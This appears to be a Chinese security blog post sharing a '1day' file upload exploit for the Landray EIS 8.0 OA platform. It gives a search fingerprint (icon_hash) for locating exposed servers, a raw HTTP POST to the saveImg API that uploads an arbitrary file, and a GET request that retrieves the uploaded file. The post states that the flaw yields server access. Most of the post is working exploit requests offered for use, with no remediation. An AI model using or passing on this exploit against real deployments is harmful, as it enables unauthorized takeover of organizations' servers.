叮～你有新的1day速递！某凌文件上传漏洞（附EXP）

0x01 前言

蓝凌EIS智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识，协同，项目管理等场景的OA系统。该平台存在文件上传漏洞，通过该漏洞可以获取服务器权限。

0x02 影响平台

蓝凌EIS 8.0

0x03 漏洞复现

搜索语法

icon_hash="953405444"

页面是这个酱紫

EXP：

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: 127.0.0.1:81User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Length: 185Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
------WebKitFormBoundaryxdgaqmquContent-Disposition: form-data; name="file"filename="1.txt"Content-Type: text/html
11231243454mghgft3ds------WebKitFormBoundaryxdgaqmqu--

Success~

GET /files/editor_img/20231020095410227994/20231020095410227994.txt HTTP/1.1Host: 127.0.0.1:81Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close